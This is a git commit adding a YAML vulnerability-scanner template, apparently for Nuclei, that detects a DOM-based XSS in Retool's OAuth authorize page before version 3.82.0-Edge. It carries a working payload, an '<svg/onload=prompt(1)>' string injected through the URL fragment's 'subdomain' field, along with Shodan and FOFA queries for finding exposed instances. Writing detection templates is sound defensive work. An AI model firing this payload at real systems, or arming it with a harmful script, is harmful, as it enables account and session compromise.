Create retool-dom-xss.yaml
parent
4909296b11
commit
d4d0912553
|
@ -0,0 +1,35 @@
|
|||
id: retool-dom-xss
|
||||
|
||||
info:
|
||||
name: Retool <3.82.0 Edge OAuth Authorize - DOM Based XSS
|
||||
author: rootxharsh,iamnoooob,pdresearch
|
||||
severity: high
|
||||
description: |
|
||||
Retool versions less than 3.82.0-Edge are vulnerable to a DOM-based XSS vulnerability in the OAuth authorization flow.
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 1
|
||||
shodan-query: title:"Retool"
|
||||
fofa-query: body="Retool"
|
||||
tags: headless,retool,dom,xss
|
||||
|
||||
headless:
|
||||
- steps:
|
||||
- args:
|
||||
url: '{{BaseURL}}/oauth/authorize#%7B%20"redirectUri":%20"zzz",%20"resourceId":%20"fff",%20"resourceName":%20"aa",%20"resourceType":%20"azz",%20"userEmail":%20"aaa@aa.com",%20"userFirstName":%20"zzz",%20"userLastName":%20"zzff",%20"xsrfToken":%20"x","subdomain":"aaa<svg/onload=prompt(1)>aaaa","accessToken":"ab"%20%7D'
|
||||
action: navigate
|
||||
|
||||
- action: waitdialog
|
||||
name: subdomain_object_dom
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- subdomain_object_dom == true
|
||||
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "retool"
|
||||
case-insensitive: true
|
Loading…
Reference in New Issue